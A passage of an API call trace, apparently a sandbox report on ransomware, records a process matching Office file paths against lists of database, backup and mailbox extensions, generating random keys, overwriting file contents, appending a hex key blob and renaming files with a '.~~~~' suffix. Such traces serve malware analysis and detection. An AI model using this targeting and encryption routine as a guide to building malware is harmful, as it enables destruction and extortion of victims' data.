	[0137.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".ckp") returned 0x0
	[0137.070] lstrlenW (lpString=".dbt") returned 4
	[0137.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dbt") returned 0x0
	[0137.070] lstrlenW (lpString=".db") returned 3
	[0137.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".db") returned 0x0
	[0137.070] lstrlenW (lpString=".TXT") returned 4
	[0137.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".TXT") returned 0x0
	[0137.153] lstrlenW (lpString=".MDF") returned 4
	[0137.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".MDF") returned 0x0
	[0137.153] lstrlenW (lpString=".bdb") returned 4
	[0137.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".bdb") returned 0x0
	[0137.154] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.154] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b90) returned 1
	[0137.155] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.155] CryptReleaseContext (hProv=0x394b90, dwFlags=0x0) returned 1
	[0137.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.157] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25714746615) returned 1
	[0137.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb319970, dwHighDateTime=0x1d60e1e)) 
	[0137.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825588
	[0137.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825588 | out: hHeap=0x300000) returned 1
	[0137.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0137.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.161] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.161] GetLastError () returned 0x0
	[0137.161] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.161] GetLastError () returned 0x0
	[0137.166] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.167] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.167] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.167] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.173] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.174] CloseHandle (hObject=0x108) returned 1
	[0137.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc2e0
	[0137.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.~~~~")) returned 1
	[0137.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc2e0 | out: hHeap=0x300000) returned 1
	[0137.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.178] GetLastError () returned 0x0
	[0137.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".scr") returned 0x0
	[0137.178] lstrlenW (lpString=".cmd") returned 4
	[0137.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".cmd") returned 0x0
	[0137.178] lstrlenW (lpString=".dll") returned 4
	[0137.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dll") returned 0x0
	[0137.178] lstrlenW (lpString=".bat") returned 4
	[0137.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".bat") returned 0x0
	[0137.178] lstrlenW (lpString=".cpl") returned 4
	[0137.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".cpl") returned 0x0
	[0137.178] lstrlenW (lpString=".sys") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".sys") returned 0x0
	[0137.179] lstrlenW (lpString=".msc") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".msc") returned 0x0
	[0137.179] lstrlenW (lpString=".com") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".com") returned 0x0
	[0137.179] lstrlenW (lpString=".lnk") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".lnk") returned 0x0
	[0137.179] lstrlenW (lpString=".msp") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".msp") returned 0x0
	[0137.179] lstrlenW (lpString=".pif") returned 4
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".pif") returned 0x0
	[0137.179] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.182] lstrlenW (lpString=".sqb") returned 4
	[0137.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".sqb") returned 0x0
	[0137.182] lstrlenW (lpString=".ost") returned 4
	[0137.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".ost") returned 0x0
	[0137.182] lstrlenW (lpString=".txt") returned 4
	[0137.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".txt") returned 0x0
	[0137.182] lstrlenW (lpString=".mdt") returned 4
	[0137.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".mdt") returned 0x0
	[0137.183] lstrlenW (lpString=".BDB") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".BDB") returned 0x0
	[0137.183] lstrlenW (lpString=".eql") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".eql") returned 0x0
	[0137.183] lstrlenW (lpString=".DBF") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DBF") returned 0x0
	[0137.183] lstrlenW (lpString=".EQL") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".EQL") returned 0x0
	[0137.183] lstrlenW (lpString=".FDB") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".FDB") returned 0x0
	[0137.183] lstrlenW (lpString=".EDB") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".EDB") returned 0x0
	[0137.183] lstrlenW (lpString=".DACPAC") returned 7
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DACPAC") returned 0x0
	[0137.183] lstrlenW (lpString=".VHD") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".VHD") returned 0x0
	[0137.183] lstrlenW (lpString=".DBV") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DBV") returned 0x0
	[0137.183] lstrlenW (lpString=".dacpac") returned 7
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dacpac") returned 0x0
	[0137.183] lstrlenW (lpString=".sdf") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".sdf") returned 0x0
	[0137.183] lstrlenW (lpString=".accdb") returned 6
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".accdb") returned 0x0
	[0137.183] lstrlenW (lpString=".DBX") returned 4
	[0137.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DBX") returned 0x0
	[0137.184] lstrlenW (lpString=".MDT") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".MDT") returned 0x0
	[0137.184] lstrlenW (lpString=".SQB") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".SQB") returned 0x0
	[0137.184] lstrlenW (lpString=".vhd") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".vhd") returned 0x0
	[0137.184] lstrlenW (lpString=".bac") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".bac") returned 0x0
	[0137.184] lstrlenW (lpString=".mdf") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".mdf") returned 0x0
	[0137.184] lstrlenW (lpString=".BAK") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".BAK") returned 0x0
	[0137.184] lstrlenW (lpString=".BAC") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".BAC") returned 0x0
	[0137.184] lstrlenW (lpString=".dbs") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dbs") returned 0x0
	[0137.184] lstrlenW (lpString=".vhdx") returned 5
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".vhdx") returned 0x0
	[0137.184] lstrlenW (lpString=".NDF") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".NDF") returned 0x0
	[0137.184] lstrlenW (lpString=".dat") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dat") returned 0x0
	[0137.184] lstrlenW (lpString=".DBS") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DBS") returned 0x0
	[0137.184] lstrlenW (lpString=".CKP") returned 4
	[0137.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".CKP") returned 0x0
	[0137.185] lstrlenW (lpString=".edb") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".edb") returned 0x0
	[0137.185] lstrlenW (lpString=".PST") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".PST") returned 0x0
	[0137.185] lstrlenW (lpString=".dbf") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dbf") returned 0x0
	[0137.185] lstrlenW (lpString=".SQL") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".SQL") returned 0x0
	[0137.185] lstrlenW (lpString=".pst") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".pst") returned 0x0
	[0137.185] lstrlenW (lpString=".dbv") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dbv") returned 0x0
	[0137.185] lstrlenW (lpString=".SDF") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".SDF") returned 0x0
	[0137.185] lstrlenW (lpString=".dtxs") returned 5
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dtxs") returned 0x0
	[0137.185] lstrlenW (lpString=".db3") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".db3") returned 0x0
	[0137.185] lstrlenW (lpString=".OST") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".OST") returned 0x0
	[0137.185] lstrlenW (lpString=".dbx") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dbx") returned 0x0
	[0137.185] lstrlenW (lpString=".DB3") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DB3") returned 0x0
	[0137.185] lstrlenW (lpString=".DAT") returned 4
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DAT") returned 0x0
	[0137.185] lstrlenW (lpString=".VHDX") returned 5
	[0137.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".VHDX") returned 0x0
	[0137.186] lstrlenW (lpString=".ndf") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".ndf") returned 0x0
	[0137.186] lstrlenW (lpString=".DB") returned 3
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DB") returned 0x0
	[0137.186] lstrlenW (lpString=".sql") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".sql") returned 0x0
	[0137.186] lstrlenW (lpString=".MYD") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".MYD") returned 0x0
	[0137.186] lstrlenW (lpString=".DBT") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DBT") returned 0x0
	[0137.186] lstrlenW (lpString=".ACCDB") returned 6
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".ACCDB") returned 0x0
	[0137.186] lstrlenW (lpString=".fdb") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".fdb") returned 0x0
	[0137.186] lstrlenW (lpString=".bak") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".bak") returned 0x0
	[0137.186] lstrlenW (lpString=".myd") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".myd") returned 0x0
	[0137.186] lstrlenW (lpString=".DTXS") returned 5
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".DTXS") returned 0x0
	[0137.186] lstrlenW (lpString=".ckp") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".ckp") returned 0x0
	[0137.186] lstrlenW (lpString=".dbt") returned 4
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".dbt") returned 0x0
	[0137.186] lstrlenW (lpString=".db") returned 3
	[0137.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".db") returned 0x0
	[0137.186] lstrlenW (lpString=".TXT") returned 4
	[0137.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".TXT") returned 0x0
	[0137.187] lstrlenW (lpString=".MDF") returned 4
	[0137.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".MDF") returned 0x0
	[0137.187] lstrlenW (lpString=".bdb") returned 4
	[0137.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".bdb") returned 0x0
	[0137.187] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.187] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394750) returned 1
	[0137.188] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.188] CryptReleaseContext (hProv=0x394750, dwFlags=0x0) returned 1
	[0137.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.188] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25717861588) returned 1
	[0137.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb365c30, dwHighDateTime=0x1d60e1e)) 
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28255c0
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28255c0 | out: hHeap=0x300000) returned 1
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc2e0
	[0137.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.190] GetLastError () returned 0x0
	[0137.190] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.190] GetLastError () returned 0x0
	[0137.196] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.196] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.197] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.197] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.198] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
